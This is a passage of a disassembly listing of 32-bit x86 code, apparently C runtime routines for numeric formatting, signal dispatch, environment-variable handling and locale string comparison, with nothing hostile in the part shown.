eax, [ebx+4] test ecx, ecx mov [ebp+arg_14], eax jle short loc_4258F0 mov [ebp+arg_C], ecx loc_4258A3: ; CODE XREF: sub_4256C2+229j lea esi, [ebp+var_10] lea edi, [ebp+arg_0] movsd movsd lea eax, [ebp+var_10] push eax movsd call sub_4250CF lea eax, [ebp+var_10] push eax call sub_4250CF lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax call sub_425071 lea eax, [ebp+var_10] push eax call sub_4250CF mov al, byte ptr [ebp+var_6+1] mov ecx, [ebp+arg_14] and byte ptr [ebp+var_6+1], 0 add esp, 14h add al, 30h inc [ebp+arg_14] dec [ebp+arg_C] mov [ecx], al jnz short loc_4258A3 mov eax, [ebp+arg_14] loc_4258F0: ; CODE XREF: sub_4256C2+1DCj mov cl, [eax-1] dec eax dec eax cmp cl, 35h lea ecx, [ebx+4] jl short loc_42592D loc_4258FD: ; CODE XREF: sub_4256C2+248j cmp eax, ecx jb short loc_425910 cmp byte ptr [eax], 39h jnz short loc_42590C mov byte ptr [eax], 30h dec eax jmp short loc_4258FD ; --------------------------------------------------------------------------- loc_42590C: ; CODE XREF: sub_4256C2+242j cmp eax, ecx jnb short loc_425914 loc_425910: ; CODE XREF: sub_4256C2+23Dj inc eax inc word ptr [ebx] loc_425914: ; CODE XREF: sub_4256C2+24Cj inc byte ptr [eax] loc_425916: ; CODE XREF: sub_4256C2+279j sub al, bl sub al, 3 mov [ebx+3], al movsx eax, al and byte ptr [eax+ebx+4], 0 loc_425925: ; CODE XREF: sub_4256C2+F0j mov eax, [ebp+var_4] loc_425928: ; CODE XREF: sub_4256C2+291j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_42592D: ; CODE XREF: sub_4256C2+239j ; sub_4256C2+275j cmp eax, ecx jb short loc_42593D cmp byte ptr [eax], 30h jnz short loc_425939 dec eax jmp short loc_42592D ; --------------------------------------------------------------------------- loc_425939: ; CODE XREF: sub_4256C2+272j cmp eax, ecx jnb short loc_425916 loc_42593D: ; CODE XREF: sub_4256C2+26Dj and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ecx], 30h loc_42594C: ; CODE XREF: sub_4256C2+87j and byte ptr [ebx+5], 0 push 1 pop eax jmp short loc_425928 sub_4256C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425955 proc near ; CODE XREF: sub_42255C+226Dp arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov eax, edi dec eax dec eax jz short loc_4259BC dec eax dec eax jz short loc_4259AD sub eax, 4 jz short loc_4259AD sub eax, 3 jz short loc_4259AD sub eax, 4 jz short loc_4259A0 sub eax, 6 jz short loc_425993 dec eax jz short loc_425986 or eax, 0FFFFFFFFh jmp loc_425A7E ; --------------------------------------------------------------------------- loc_425986: ; CODE XREF: sub_425955+27j mov esi, dword_4DB5AC mov eax, offset dword_4DB5AC jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_425993: ; CODE XREF: sub_425955+24j mov esi, dword_4DB5A8 mov eax, offset dword_4DB5A8 jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_4259A0: ; CODE XREF: sub_425955+1Fj mov esi, dword_4DB5B0 mov eax, offset dword_4DB5B0 jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_4259AD: ; CODE XREF: sub_425955+10j ; sub_425955+15j ... push edi call sub_425A82 mov esi, [eax+8] add eax, 8 pop ecx jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_4259BC: ; CODE XREF: sub_425955+Cj mov esi, dword_4DB5A4 mov eax, offset dword_4DB5A4 loc_4259C7: ; CODE XREF: sub_425955+3Cj ; sub_425955+49j ... cmp esi, 1 jnz short loc_4259D3 xor eax, eax jmp loc_425A7E ; --------------------------------------------------------------------------- loc_4259D3: ; CODE XREF: sub_425955+75j test esi, esi jnz short loc_4259DE push 3 call sub_41B7C2 loc_4259DE: ; CODE XREF: sub_425955+80j push ebx push 8 pop ecx cmp edi, ecx jz short loc_4259F0 cmp edi, 0Bh jz short loc_4259F0 cmp edi, 4 jnz short loc_425A16 loc_4259F0: ; CODE XREF: sub_425955+8Fj ; sub_425955+94j mov ebx, dword_4DB380 and dword_4DB380, 0 cmp edi, ecx jnz short loc_425A45 mov edx, dword_43C97C mov dword_43C97C, 8Ch mov [ebp+arg_0], edx jmp short loc_425A19 ; --------------------------------------------------------------------------- loc_425A16: ; CODE XREF: sub_425955+99j mov ebx, [ebp+arg_0] loc_425A19: ; CODE XREF: sub_425955+BFj cmp edi, ecx jnz short loc_425A45 mov eax, dword_43C970 mov ecx, dword_43C974 add ecx, eax cmp eax, ecx jge short loc_425A4C lea edx, [eax+eax*2] sub ecx, eax lea edx, ds:43C900h[edx*4] loc_425A3A: ; CODE XREF: sub_425955+ECj and dword ptr [edx], 0 add edx, 0Ch dec ecx jnz short loc_425A3A jmp short loc_425A4C ; --------------------------------------------------------------------------- loc_425A45: ; CODE XREF: sub_425955+AAj ; sub_425955+C6j and dword ptr [eax], 0 cmp edi, ecx jnz short loc_425A5A loc_425A4C: ; CODE XREF: sub_425955+D7j ; sub_425955+EEj push dword_43C97C push 8 call esi pop ecx pop ecx jmp short loc_425A68 ; --------------------------------------------------------------------------- loc_425A5A: ; CODE XREF: sub_425955+F5j push edi call esi cmp edi, 0Bh pop ecx jz short loc_425A68 cmp edi, 4 jnz short loc_425A7B loc_425A68: ; CODE XREF: sub_425955+103j ; sub_425955+10Cj cmp edi, 8 mov dword_4DB380, ebx jnz short loc_425A7B mov eax, [ebp+arg_0] mov dword_43C97C, eax loc_425A7B: ; CODE XREF: sub_425955+111j ; sub_425955+11Cj xor eax, eax pop ebx loc_425A7E: ; CODE XREF: sub_425955+2Cj ; sub_425955+79j pop edi pop esi pop ebp retn sub_425955 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_425A82 proc near ; CODE XREF: sub_425955+59p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43C978 cmp dword_43C8FC, edx push esi mov eax, offset dword_43C8F8 jz short loc_425AB0 lea esi, [ecx+ecx*2] lea esi, ds:43C8F8h[esi*4] loc_425AA4: ; CODE XREF: sub_425A82+2Cj add eax, 0Ch cmp eax, esi jnb short loc_425AB0 cmp [eax+4], edx jnz short loc_425AA4 loc_425AB0: ; CODE XREF: sub_425A82+16j ; sub_425A82+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43C8F8h[ecx*4] cmp eax, ecx jnb short loc_425AC4 cmp [eax+4], edx jz short locret_425AC6 loc_425AC4: ; CODE XREF: sub_425A82+3Bj xor eax, eax locret_425AC6: ; CODE XREF: sub_425A82+40j retn sub_425A82 endp ; =============== S U B R O U T I N E ======================================= sub_425AC7 proc near ; CODE XREF: sub_4247EC+23p arg_0 = dword ptr 4 cmp dword_4DC950, 0 push ebx push esi mov esi, dword_4DB2D0 push edi jz short loc_425B3E test esi, esi jnz short loc_425AF8 cmp dword_4DB2D8, esi jz short loc_425B3E call sub_425E95 test eax, eax jnz short loc_425B3E mov esi, dword_4DB2D0 test esi, esi jz short loc_425B3E loc_425AF8: ; CODE XREF: sub_425AC7+14j mov ebx, [esp+0Ch+arg_0] test ebx, ebx jz short loc_425B3E push ebx call sub_41AFE0 pop ecx mov edi, eax loc_425B09: ; CODE XREF: sub_425AC7+6Dj mov eax, [esi] test eax, eax jz short loc_425B3E push eax call sub_41AFE0 cmp eax, edi pop ecx jbe short loc_425B31 mov eax, [esi] cmp byte ptr [eax+edi], 3Dh jnz short loc_425B31 push edi push ebx push eax call sub_425E56 add esp, 0Ch test eax, eax jz short loc_425B36 loc_425B31: ; CODE XREF: sub_425AC7+51j ; sub_425AC7+59j add esi, 4 jmp short loc_425B09 ; --------------------------------------------------------------------------- loc_425B36: ; CODE XREF: sub_425AC7+68j mov eax, [esi] lea eax, [eax+edi+1] jmp short loc_425B40 ; --------------------------------------------------------------------------- loc_425B3E: ; CODE XREF: sub_425AC7+10j ; sub_425AC7+1Cj ... xor eax, eax loc_425B40: ; CODE XREF: sub_425AC7+75j pop edi pop esi pop ebx retn sub_425AC7 endp ; =============== S U B R O U T I N E ======================================= sub_425B44 proc near ; CODE XREF: sub_424F0A+8Bp ; sub_424F0A+D9p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4DC700 jnb short loc_425BAB mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DC600[ecx*4] lea edx, [ecx+eax*8+4] mov cl, [ecx+eax*8+4] test cl, 1 jz short loc_425BAB mov al, cl mov esi, 8000h and eax, 80h cmp [esp+4+arg_4], esi jnz short loc_425B84 and cl, 7Fh jmp short loc_425B91 ; --------------------------------------------------------------------------- loc_425B84: ; CODE XREF: sub_425B44+39j cmp [esp+4+arg_4], 4000h jnz short loc_425B9F or cl, 80h loc_425B91: ; CODE XREF: sub_425B44+3Ej neg eax sbb eax, eax mov [edx], cl and ax, 0C000h add eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_425B9F: ; CODE XREF: sub_425B44+48j mov dword_4DB2A8, 16h jmp short loc_425BB5 ; --------------------------------------------------------------------------- loc_425BAB: ; CODE XREF: sub_425B44+Bj ; sub_425B44+27j mov dword_4DB2A8, 9 loc_425BB5: ; CODE XREF: sub_425B44+65j or eax, 0FFFFFFFFh pop esi retn sub_425B44 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425BBA proc near ; CODE XREF: sub_4256C2+165p ; sub_425DDA+69p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov cx, [ebx+0Ah] xor eax, eax push edi mov [ebp+var_14], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_1C], eax mov ax, [esi+0Ah] mov edi, ecx mov edx, 7FFFh xor edi, eax and eax, edx and ecx, edx and edi, 8000h cmp ax, 7FFFh lea edx, [ecx+eax] mov [ebp+arg_0], edx jnb loc_425DBA cmp cx, 7FFFh jnb loc_425DBA cmp dx, 0BFFDh ja loc_425DBA cmp dx, 3FBFh ja short loc_425C23 xor eax, eax jmp short loc_425C5D ; --------------------------------------------------------------------------- loc_425C23: ; CODE XREF: sub_425BBA+63j test ax, ax mov edx, 7FFFFFFFh jnz short loc_425C45 inc [ebp+arg_0] test [esi+8], edx jnz short loc_425C45 xor eax, eax cmp [esi+4], eax jnz short loc_425C47 cmp [esi], eax jnz short loc_425C47 jmp loc_425DB4 ; --------------------------------------------------------------------------- loc_425C45: ; CODE XREF: sub_425BBA+71j ; sub_425BBA+79j xor eax, eax loc_425C47: ; CODE XREF: sub_425BBA+80j ; sub_425BBA+84j cmp cx, ax jnz short loc_425C6A inc [ebp+arg_0] test [ebx+8], edx jnz short loc_425C6A cmp [ebx+4], eax jnz short loc_425C6A cmp [ebx], eax jnz short loc_425C6A loc_425C5D: ; CODE XREF: sub_425BBA+67j mov [esi+8], eax mov [esi+4], eax mov [esi], eax jmp loc_425DD5 ; --------------------------------------------------------------------------- loc_425C6A: ; CODE XREF: sub_425BBA+90j ; sub_425BBA+98j ... mov [ebp+var_10], eax lea eax, [ebp+var_20] mov [ebp+var_4], eax mov [ebp+arg_4], 5 loc_425C7A: ; CODE XREF: sub_425BBA+122j mov eax, [ebp+var_10] add eax, eax cmp [ebp+arg_4], 0 jle short loc_425CCE add eax, esi lea ecx, [ebx+8] mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_C], ecx mov [ebp+var_18], eax loc_425C96: ; CODE XREF: sub_425BBA+112j mov eax, [ebp+var_8] mov ecx, [ebp+var_C] movzx eax, word ptr [eax] movzx ecx, word ptr [ecx] imul eax, ecx mov ecx, [ebp+var_4] add ecx, 0FFFFFFFCh push ecx push eax push dword ptr [ecx] call sub_425050 add esp, 0Ch test eax, eax jz short loc_425CC1 mov eax, [ebp+var_4] inc word ptr [eax] loc_425CC1: ; CODE XREF: sub_425BBA+FFj add [ebp+var_8], 2 sub [ebp+var_C], 2 dec [ebp+var_18] jnz short loc_425C96 loc_425CCE: ; CODE XREF: sub_425BBA+C9j add [ebp+var_4], 2 inc [ebp+var_10] dec [ebp+arg_4] cmp [ebp+arg_4], 0 jg short loc_425C7A add [ebp+arg_0], 0C002h cmp word ptr [ebp+arg_0], 0 jle short loc_425D11 loc_425CEC: ; CODE XREF: sub_425BBA+14Ej test byte ptr [ebp+var_1C+3], 80h jnz short loc_425D0A lea eax, [ebp+var_24] push eax call sub_4250CF add [ebp+arg_0], 0FFFFh pop ecx cmp word ptr [ebp+arg_0], 0 jg short loc_425CEC loc_425D0A: ; CODE XREF: sub_425BBA+136j cmp word ptr [ebp+arg_0], 0 jg short loc_425D4A loc_425D11: ; CODE XREF: sub_425BBA+130j add [ebp+arg_0], 0FFFFh cmp word ptr [ebp+arg_0], 0 jge short loc_425D4A movsx eax, word ptr [ebp+arg_0] neg eax add [ebp+arg_0], eax mov ebx, eax loc_425D2A: ; CODE XREF: sub_425BBA+184j test byte ptr [ebp+var_24], 1 jz short loc_425D33 inc [ebp+var_14] loc_425D33: ; CODE XREF: sub_425BBA+174j lea eax, [ebp+var_24] push eax call sub_4250FD dec ebx pop ecx jnz short loc_425D2A cmp [ebp+var_14], 0 jz short loc_425D4A or byte ptr [ebp+var_24], 1 loc_425D4A: ; CODE XREF: sub_425BBA+155j ; sub_425BBA+163j ... cmp word ptr [ebp+var_24], 8000h ja short loc_425D61 mov eax, [ebp+var_24] and eax, 1FFFFh cmp eax, 18000h jnz short loc_425D96 loc_425D61: ; CODE XREF: sub_425BBA+196j cmp [ebp+var_24+2], 0FFFFFFFFh jnz short loc_425D93 and [ebp+var_24+2], 0 cmp [ebp+var_20+2], 0FFFFFFFFh jnz short loc_425D8E and [ebp+var_20+2], 0 cmp word ptr [ebp+var_1C+2], 0FFFFh jnz short loc_425D88 inc [ebp+arg_0] mov word ptr [ebp+var_1C+2], 8000h jmp short loc_425D96 ; --------------------------------------------------------------------------- loc_425D88: ; CODE XREF: sub_425BBA+1C1j inc word ptr [ebp+var_1C+2] jmp short loc_425D96 ; --------------------------------------------------------------------------- loc_425D8E: ; CODE XREF: sub_425BBA+1B5j inc [ebp+var_20+2] jmp short loc_425D96 ; --------------------------------------------------------------------------- loc_425D93: ; CODE XREF: sub_425BBA+1ABj inc [ebp+var_24+2] loc_425D96: ; CODE XREF: sub_425BBA+1A5j ; sub_425BBA+1CCj ... mov eax, [ebp+arg_0] cmp ax, 7FFFh jnb short loc_425DBA mov cx, word ptr [ebp+var_24+2] or eax, edi mov [esi], cx mov ecx, [ebp+var_20] mov [esi+2], ecx mov ecx, [ebp+var_1C] mov [esi+6], ecx loc_425DB4: ; CODE XREF: sub_425BBA+86j mov [esi+0Ah], ax jmp short loc_425DD5 ; --------------------------------------------------------------------------- loc_425DBA: ; CODE XREF: sub_425BBA+42j ; sub_425BBA+4Dj ... neg di sbb edi, edi and dword ptr [esi+4], 0 and edi, 80000000h add edi, 7FFF8000h and dword ptr [esi], 0 mov [esi+8], edi loc_425DD5: ; CODE XREF: sub_425BBA+ABj ; sub_425BBA+1FEj pop edi pop esi pop ebx leave retn sub_425BBA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425DDA proc near ; CODE XREF: sub_4251F1+440p ; sub_4256C2+14Cp var_C = byte ptr -0Ch var_A = dword ptr -0Ah arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx mov ebx, offset dword_43CDF8 xor ecx, ecx sub ebx, 60h cmp [ebp+arg_4], ecx jz short loc_425E53 jge short loc_425E02 mov eax, [ebp+arg_4] mov ebx, offset dword_43CF58 neg eax mov [ebp+arg_4], eax sub ebx, 60h loc_425E02: ; CODE XREF: sub_425DDA+16j cmp [ebp+arg_8], ecx jnz short loc_425E0D mov eax, [ebp+arg_0] mov [eax], cx loc_425E0D: ; CODE XREF: sub_425DDA+2Bj cmp [ebp+arg_4], ecx jz short loc_425E53 push esi push edi loc_425E14: ; CODE XREF: sub_425DDA+75j mov eax, [ebp+arg_4] add ebx, 54h sar [ebp+arg_4], 3 and eax, 7 cmp eax, ecx jz short loc_425E4C lea eax, [eax+eax*2] cmp word ptr [ebx+eax*4], 8000h lea esi, [ebx+eax*4] jb short loc_425E3F lea edi, [ebp+var_C] movsd movsd movsd dec [ebp+var_A] lea esi, [ebp+var_C] loc_425E3F: ; CODE XREF: sub_425DDA+57j push esi push [ebp+arg_0] call sub_425BBA pop ecx pop ecx xor ecx, ecx loc_425E4C: ; CODE XREF: sub_425DDA+49j cmp [ebp+arg_4], ecx jnz short loc_425E14 pop edi pop esi loc_425E53: ; CODE XREF: sub_425DDA+14j ; sub_425DDA+36j pop ebx leave retn sub_425DDA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425E56 proc near ; CODE XREF: sub_425AC7+5Ep ; sub_426332+18p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jnz short loc_425E63 xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_425E63: ; CODE XREF: sub_425E56+7j push dword_4DC704 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_8] push [ebp+arg_0] push 1 push dword_4DC924 call sub_425F03 add esp, 1Ch test eax, eax jnz short loc_425E90 mov eax, 7FFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_425E90: ; CODE XREF: sub_425E56+31j add eax, 0FFFFFFFEh pop ebp retn sub_425E56 endp ; =============== S U B R O U T I N E ======================================= sub_425E95 proc near ; CODE XREF: sub_425AC7+1Ep ; sub_4261AB+5Bp var_4 = dword ptr -4 push ecx push ebx push ebp push esi mov esi, dword_4DB2D8 push edi xor edi, edi mov eax, [esi] cmp eax, edi jz short loc_425EF6 mov ebx, dword_42717C loc_425EAE: ; CODE XREF: sub_425E95+5Fj push edi push edi push edi push edi push 0FFFFFFFFh push eax push edi push 1 call ebx mov ebp, eax cmp ebp, edi jz short loc_425EFE push ebp call sub_41B4D5 cmp eax, edi pop ecx mov [esp+14h+var_4], eax jz short loc_425EFE push edi push edi push ebp push eax push 0FFFFFFFFh push dword ptr [esi] push edi push 1 call ebx test eax, eax jz short loc_425EFE push edi push [esp+18h+var_4] call sub_4261AB mov eax, [esi+4] add esi, 4 pop ecx cmp eax, edi pop ecx jnz short loc_425EAE loc_425EF6: ; CODE XREF: sub_425E95+11j xor eax, eax loc_425EF8: ; CODE XREF: sub_425E95+6Cj pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_425EFE: ; CODE XREF: sub_425E95+29j ; sub_425E95+38j ... or eax, 0FFFFFFFFh jmp short loc_425EF8 sub_425E95 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425F03 proc near ; CODE XREF: sub_425E56+27p var_3C = dword ptr -3Ch var_36 = byte ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427CF0 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push ebx push esi push edi mov [ebp+var_18], esp xor ebx, ebx cmp dword_4DB5B8, ebx push 1 pop edi jnz short loc_425F76 push edi mov eax, offset dword_427940 push eax push edi push eax push ebx push ebx nop call near ptr 25F0000h test eax, eax jz short loc_425F53 mov dword_4DB5B8, edi jmp short loc_425F76 ; --------------------------------------------------------------------------- loc_425F53: ; CODE XREF: sub_425F03+46j push edi mov eax, offset dword_4CAE5C push eax push edi push eax push ebx push ebx nop call near ptr 25F063Ah test eax, eax jz loc_42616C mov dword_4DB5B8, 2 loc_425F76: ; CODE XREF: sub_425F03+31j ; sub_425F03+4Ej mov esi, [ebp+arg_C] cmp esi, ebx jle short loc_425F8D push esi push [ebp+arg_8] call sub_426180 pop ecx pop ecx mov esi, eax mov [ebp+arg_C], esi loc_425F8D: ; CODE XREF: sub_425F03+78j cmp [ebp+arg_14], ebx jle short loc_425FA2 push [ebp+arg_14] push [ebp+arg_10] call sub_426180 pop ecx pop ecx mov [ebp+arg_14], eax loc_425FA2: ; CODE XREF: sub_425F03+8Dj mov eax, dword_4DB5B8 cmp eax, 2 jnz short loc_425FC7 push [ebp+arg_14] push [ebp+arg_10] push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 25F063Ah jmp loc_42616E ; --------------------------------------------------------------------------- loc_425FC7: ; CODE XREF: sub_425F03+A7j cmp eax, edi jnz loc_42616C cmp [ebp+arg_18], ebx jnz short loc_425FDC mov eax, dword_4DB374 mov [ebp+arg_18], eax loc_425FDC: ; CODE XREF: sub_425F03+CFj cmp esi, ebx jz short loc_425FE9 cmp [ebp+arg_14], ebx jnz loc_426081 loc_425FE9: ; CODE XREF: sub_425F03+DBj cmp esi, [ebp+arg_14] jnz short loc_425FF6 loc_425FEE: ; CODE XREF: sub_425F03+13Cj ; sub_425F03+16Dj push 2 loc_425FF0: ; CODE XREF: sub_425F03+146j pop eax jmp loc_42616E ; --------------------------------------------------------------------------- loc_425FF6: ; CODE XREF: sub_425F03+E9j cmp [ebp+arg_14], edi jle short loc_426002 loc_425FFB: ; CODE XREF: sub_425F03+151j ; sub_425F03+159j ... mov eax, edi jmp loc_42616E ; --------------------------------------------------------------------------- loc_426002: ; CODE XREF: sub_425F03+F6j cmp esi, edi jg short loc_426047 lea eax, [ebp+var_3C] push eax push [ebp+arg_18] call near ptr 28C0000h nop test eax, eax jz loc_42616C cmp esi, ebx jle short loc_42604B cmp [ebp+var_3C], 2 jb short loc_426047 lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_426047 loc_42602D: ; CODE XREF: sub_425F03+142j mov dl, [eax+1] cmp dl, bl jz short loc_426047 mov ecx, [ebp+arg_8] mov cl, [ecx] cmp cl, [eax] jb short loc_426041 cmp cl, dl jbe short loc_425FEE loc_426041: ; CODE XREF: sub_425F03+138j inc eax inc eax cmp [eax], bl jnz short loc_42602D loc_426047: ; CODE XREF: sub_425F03+101j ; sub_425F03+120j ... push 3 jmp short loc_425FF0 ; --------------------------------------------------------------------------- loc_42604B: ; CODE XREF: sub_425F03+11Aj cmp [ebp+arg_14], ebx jle short loc_426081 cmp [ebp+var_3C], 2 jb short loc_425FFB lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_425FFB loc_42605E: ; CODE XREF: sub_425F03+177j mov dl, [eax+1] cmp dl, bl jz short loc_425FFB mov ecx, [ebp+arg_10] mov cl, [ecx] cmp cl, [eax] jb short loc_426076 cmp cl, dl jbe loc_425FEE loc_426076: ; CODE XREF: sub_425F03+169j inc eax inc eax cmp [eax], bl jnz short loc_42605E jmp loc_425FFB ; --------------------------------------------------------------------------- loc_426081: ; CODE XREF: sub_425F03+E0j ; sub_425F03+14Bj push ebx push ebx push esi push [ebp+arg_8] push 9 push [ebp+arg_18] nop call near ptr 2820000h mov [ebp+var_1C], eax cmp eax, ebx jz loc_42616C mov [ebp+var_4], ebx add eax, eax add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_4260D0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+arg_C] push 1 pop edi loc_4260D0: ; CODE XREF: sub_425F03+1B5j cmp [ebp+var_24], ebx jz loc_42616C push [ebp+var_1C] push [ebp+var_24] push esi push [ebp+arg_8] push edi push [ebp+arg_18] mov esi, dword_427180 call esi test eax, eax jz short loc_42616C push ebx push ebx push [ebp+arg_14] push [ebp+arg_10] push 9 push [ebp+arg_18] call esi mov esi, eax mov [ebp+var_20], esi cmp esi, ebx jz short loc_42616C mov [ebp+var_4], edi lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov edi, esp mov [ebp+var_28], edi or [ebp+var_4], 0FFFFFFFFh jmp short loc_42613B ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor edi, edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_20] loc_42613B: ; CODE XREF: sub_425F03+224j cmp edi, ebx jz short loc_42616C push esi push edi push [ebp+arg_14] push [ebp+arg_10] push 1 push [ebp+arg_18] nop call near ptr 2820000h test eax, eax jz short loc_42616C push esi push edi push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 25F0000h jmp short loc_42616E ; --------------------------------------------------------------------------- loc_42616C: ; CODE XREF: sub_425F03+63j ; sub_425F03+C6j ... xor eax, eax loc_42616E: ; CODE XREF: sub_425F03+BFj ; sub_425F03+EEj ... lea esp, [ebp-4Ch] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_425F03 endp ; =============== S U B R O U T I N E ======================================= sub_426180 proc near ; CODE XREF: sub_422ACA+81p ; sub_425F03+7Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_42619D loc_426190: ; CODE XREF: sub_426180+1Bj cmp byte ptr [eax], 0 jz short loc_42619D inc eax mov esi, ecx dec ecx test esi, esi jnz short loc_426190 loc_42619D: ; CODE XREF: sub_426180+Ej ; sub_426180+13j cmp byte ptr [eax], 0 pop esi jnz short loc_4261A8 sub eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_4261A8: ; CODE XREF: sub_426180+21j mov eax, edx retn sub_426180 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4261AB proc near ; CODE XREF: sub_425E95+50p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi xor edi, edi cmp [ebp+arg_0], edi jz short loc_42620F push 3Dh push [ebp+arg_0] call sub_4263F1 mov esi, eax pop ecx cmp esi, edi pop ecx mov [ebp+var_8], esi jz short loc_42620F cmp [ebp+arg_0], esi jz short loc_42620F mov eax, dword_4DB2D0 xor ebx, ebx cmp [esi+1], bl setz bl cmp eax, dword_4DB2D4 jnz short loc_4261F5 push eax call sub_42638A pop ecx mov dword_4DB2D0, eax loc_4261F5: ; CODE XREF: sub_4261AB+3Cj cmp eax, edi jnz short loc_42624D cmp [ebp+arg_4], edi jz short loc_426217 cmp dword_4DB2D8, edi jz short loc_426217 call sub_425E95 test eax, eax jz short loc_42624D loc_42620F: ; CODE XREF: sub_4261AB+Dj ; sub_4261AB+22j ... or eax, 0FFFFFFFFh loc_426212: ; CODE XREF: sub_4261AB+182j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_426217: ; CODE XREF: sub_4261AB+51j ; sub_4261AB+59j cmp ebx, edi jnz loc_42632B push 4 call sub_41B4D5 cmp eax, edi pop ecx mov dword_4DB2D0, eax jz short loc_42620F mov [eax], edi cmp dword_4DB2D8, edi jnz short loc_42624D push 4 call sub_41B4D5 cmp eax, edi pop ecx mov dword_4DB2D8, eax jz short loc_42620F mov [eax], edi loc_42624D: ; CODE XREF: sub_4261AB+4Cj ; sub_4261AB+62j ... sub esi, [ebp+arg_0] mov edi, dword_4DB2D0 mov [ebp+var_4], edi push esi push [ebp+arg_0] call sub_426332 mov esi, eax pop ecx test esi, esi pop ecx jl short loc_4262AD cmp dword ptr [edi], 0 jz short loc_4262AD test ebx, ebx jz short loc_4262A5 push dword ptr [edi+esi*4] lea edi, [edi+esi*4] call sub_41B0B1 pop ecx loc_42627F: ; CODE XREF: sub_4261AB+E2j cmp dword ptr [edi], 0 jz short loc_42628F mov eax, [edi+4] inc esi mov [edi], eax add edi, 4 jmp short loc_42627F ; --------------------------------------------------------------------------- loc_42628F: ; CODE XREF: sub_4261AB+D7j mov eax, esi shl eax, 2 push eax push [ebp+var_4] call sub_41B202 pop ecx test eax, eax pop ecx jz short loc_4262DF jmp short loc_4262DA ; --------------------------------------------------------------------------- loc_4262A5: ; CODE XREF: sub_4261AB+C6j mov eax, [ebp+arg_0] mov [edi+esi*4], eax jmp short loc_4262DF ; --------------------------------------------------------------------------- loc_4262AD: ; CODE XREF: sub_4261AB+BDj ; sub_4261AB+C2j test ebx, ebx jnz short loc_42632B test esi, esi jge short loc_4262B7 neg esi loc_4262B7: ; CODE XREF: sub_4261AB+108j lea eax, ds:8[esi*4] push eax push edi call sub_41B202 pop ecx test eax, eax pop ecx jz loc_42620F mov ecx, [ebp+arg_0] mov [eax+esi*4], ecx and dword ptr [eax+esi*4+4], 0 loc_4262DA: ; CODE XREF: sub_4261AB+F8j 